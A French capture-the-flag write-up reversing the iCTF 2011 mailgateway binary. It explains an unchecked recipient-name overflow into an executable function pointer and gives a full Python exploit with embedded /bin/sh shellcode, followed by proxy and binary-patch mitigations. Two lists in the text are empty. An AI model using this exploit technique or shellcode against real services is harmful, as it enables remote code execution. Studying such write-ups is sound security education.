iCTF 2011 > Mailgateway service
Le service mailgateway était un service de "mailing" écrit en C, compilé pour x86, sans sources à disposition.
Le serveur attend sur le port 9119. Pour chaque nouvelle connexion, il forke la fonction manage_tcp_client. Le socket est le stdin + stdout de ce process. stderr reste la sortie standard du listener.
Lors d'une connexion, l'utilisateur peut :
Trouver la vulnérabilité après le reversing n'était pas trop difficile au sens où elle est vraiment flagrante : une région RWX, un overflow criant et un pointeur de fonction... Revenons donc en détail sur ces trois points.
La première interrogation que j'ai eue en regardant l'objdump c'est la raison de la présence d'un mprotect. On le trouve dans le code de l'allocation d'un nouveau destinataire :
[...] // malloc(0x11c), page du malloc -> ebp - 0x550 8049313: movl $0x7,0x8(%esp) 804931b: mov %eax,0x4(%esp) 804931f: mov -0x550(%ebp),%eax 8049325: mov %eax,(%esp) 8049328: call 8048a04 <mprotect@plt>
On a donc un mprotect(new_dest_page, PROT_READ|PROT_WRITE|PROT_EXEC). Soit c'est une "erreur" de développement, soit il y a du code exécuté dans la région plus tard. On regarde donc l'initialisation de la structure destinataire :
804932d: mov -0x544(%ebp),%eax 8049333: movl $0x8048c30,0x100(%eax) 804933d: mov -0x544(%ebp),%eax 8049343: add $0x104,%eax 8049348: mov %eax,-0x54c(%ebp) 804934e: movl $0x0,-0x538(%ebp) 8049358: mov -0x538(%ebp),%eax 804935e: add -0x54c(%ebp),%eax 8049364: movb $0xcc,(%eax) 8049367: addl $0x1,-0x538(%ebp) 804936e: mov -0x54c(%ebp),%edx 8049374: mov -0x538(%ebp),%eax 804937a: lea (%edx,%eax,1),%eax 804937d: movl $0x82474ff,(%eax) 8049383: addl $0x4,-0x538(%ebp) 804938a: mov -0x54c(%ebp),%edx 8049390: mov -0x538(%ebp),%eax 8049396: lea (%edx,%eax,1),%eax 8049399: movl $0x82454ff,(%eax) 804939f: addl $0x4,-0x538(%ebp) 80493a6: mov -0x54c(%ebp),%edx 80493ac: mov -0x538(%ebp),%eax 80493b2: lea (%edx,%eax,1),%eax 80493b5: movl $0xc304c483,(%eax)
Ceci revient donc à faire l'initialisation suivante :
*(new_destinataire + 0x100) = 0x8048c30 // @basic_sanitize() *(new_destinataire + 0x104) = 0xcc // breakpoint memcpy(new_destinataire + 0x105, "\xff\x74\x24\x08\xff\x54\x24\x08\x83\xc4\x04\xc3", )
C'est bien sûr une initialisation qui paraît assez peu usuelle. On a donc un pointeur de fonction, suivi d'un bout de code. A la fin de cette structure sont aussi passés les pointeurs de la liste doublement chaînée : new_destinataire + 0x114 et new_destinataire + 0x118 sont respectivement placés au pointeur du dernier élement de la liste chaînée et au pointeur du premier élément (@recipients).
En continuant l'analyse de l'ajout de destinataire, on trouve un buffer overflow lors du remplissage :
80493bb: movl $0x0,-0x538(%ebp) 80493c5: jmp 8049401 <manage_tcp_client+0x6ea> 80493c7: mov -0x538(%ebp),%eax 80493cd: movzbl -0x531(%ebp),%ecx 80493d4: mov -0x544(%ebp),%edx 80493da: mov %cl,(%edx,%eax,1) 80493dd: movzbl -0x531(%ebp),%eax 80493e4: cmp $0x7c,%al 80493e6: jne 80493fa <manage_tcp_client+0x6e3> 80493e8: mov -0x538(%ebp),%eax 80493ee: mov -0x544(%ebp),%edx 80493f4: movb $0x0,(%edx,%eax,1) 80493f8: jmp 8049423 <manage_tcp_client+0x70c> 80493fa: addl $0x1,-0x538(%ebp) 8049401: movl $0x1,0x8(%esp) 8049409: lea -0x531(%ebp),%eax 804940f: mov %eax,0x4(%esp) 8049413: movl $0x0,(%esp) 804941a: call 80489a4 <read@plt> 804941f: test %eax,%eax 8049421: jne 80493c7 <manage_tcp_client+0x6b0>
ebp - 0x531 est le buffer de lecture (1 byte) et ebp - 0x544 contient l'adresse de new_destinataire. On a donc une boucle classique qui va lire octet par octet le nom du nouveau destinataire jusqu'à tomber sur un caractère pipe, sans vérification de longueur maximale. On peut donc écraser les structures définies à partir de new_destinataire + 0x100.
Puisqu'on a un overflow sur des données exécutables, on regarde quand et comment elles sont exécutées. On trouve le bout de code suivant lors de la suppression d'un destinataire :
804956f: mov -0x544(%ebp),%eax 8049575: add $0x104,%eax 804957a: lea 0x1(%eax),%ecx 804957d: mov -0x544(%ebp),%edx 8049583: mov -0x544(%ebp),%eax 8049589: mov 0x100(%eax),%eax 804958f: mov %edx,0x4(%esp) 8049593: mov %eax,(%esp) 8049596: call *%ecx
Il y a donc un appel au code à destinataire + 0x105 avec comme arguments destinataire + 0x100 et destinataire.
$ perl -e "print \"\xff\x74\x24\x08\xff\x54\x24\x08\x83\xc4\x04\xc3\"" > /tmp/test $ x86dis -e 0 -s intel < /tmp/test 00000000 push [esp+0x8] 00000004 call [esp+0x8] 00000008 add esp, 0x04 0000000B ret $
Honnêtement ça paraît un peu tiré par les cheveux mais bon, on a un appel de basic_sanitize(destinataire), et on sait qu'on peut réécrire le pointeur de basic_sanitize().
La petite subtilité était que pour reconnaitre le bon destinataire à supprimer, la fonction strcmp() était utilisée. Or, le buffer utilisé pour récupérer le destinataire à supprimer était limité à 256 caractères alors que notre destinataire contenant le shellcode en contenait au moins 260. Il ne fallait donc pas oublier d'introduire un caractère nul à destinataire[255] (possible puisque l'entrée standard est un socket).
Enfin, pour faciliter encore le tout, la fonction d'affichage des destinataires nous permettait de connaître la structure de la liste chaînée et donc l'adresse de notre shellcode.
Il fallait donc effectuer une exploitation en plusieurs étapes :
Voici un petit code d'exploitation :
#!/usr/bin/python import socket import sys import re import string import random # Shellcode simple sans le caractere '|': # ./msfpayload linux/x86/exec CMD="/bin/sh" R | ./msfencode -b "\x7c" -t c shellcode="\xdb\xd5\xd9\x74\x24\xf4\x5b\xba\x8f\x06" + \ "\x01\x9f\x2b\xc9\xb1\x0b\x31\x53\x1a\x83" + \ "\xc3\x04\x03\x53\x16\xe2\x7a\x6c\x0a\xc7" + \ "\x1d\x23\x6a\x9f\x30\xa7\xfb\xb8\x22\x08" + \ "\x8f\x2e\xb2\x3e\x40\xcd\xdb\xd0\x17\xf2" + \ "\x49\xc5\x20\xf5\x6d\x15\x1e\x97\x04\x7b" + \ "\x4f\x24\xbe\x83\xd8\x99\xb7\x65\x2b\x9d" # generate random strings def random_string(size_max, chars=string.ascii_uppercase + string.digits + string.ascii_lowercase, fixed_size=0): if fixed_size != 0: sz = size_max else: sz = random.choice(range(size_max)) if sz == 0: sz=1 return ''.join(random.choice(chars) for x in range(sz)) sock = socket.socket() sock.connect((sys.argv[1], 9119)) sockfile = sock.makefile() # Create two recipients toDel=random_string(255) sock.send("+" + random_string(255) + "|+" + toDel + "|l\r\n") print "[+] Recipients Created" # Extract address of recipient 2 from reply resp="" while 1: c = sock.recv(1) if c == "": sys.exit(1) if c == "\n": break resp += c payload=int(re.search(" 0x(.*)\)", resp).group(1), 16) b4 = payload & 0xff b3 = (payload >> 8) & 0xff b2 = (payload >> 16) & 0xff b1 = (payload >> 24) & 0xff print "[+] Recipient 2 address resolved" # Create crafted shellcoded recipient buf = shellcode buf += random_string(255 - len(shellcode), fixed_size = 1) # Delete recipient 2, replace with crafted recipient, overwrite sanitization address with recipient 2 base address # Delete crafted recipient to trigger shellcode sock.send("-" + toDel + "|+" + buf + "\x00" + chr(b4) + chr(b3) + chr(b2) + chr(b1) +"|-" + buf + "|") print "[+] Triggering exploit.." # Shell commands sock.send("whoami\nexit\n") # Wait for result and exit c = sock.recv(1) resp = "" while c != "": resp += c c = sock.recv(1) print resp
Avec un proxy applicatif, il faudrait dropper les requêtes contenant un '+' suivi de plus de 255 caractères avant un caractère '|', ou tronquer le corps à 255 caractères.
Sans proxy applicatif, il faudrait supprimer tout le code d'exécution du basic_sanitize() de 0x804956f à 0x8049597 inclus et le remplacer par un appel statique :
mov -0x544(%ebp), %eax mov %eax, (%esp) call 0x8048c30
On peut compléter par des NOP et ne pas avoir à changer les offsets de l'ELF ou des jumps.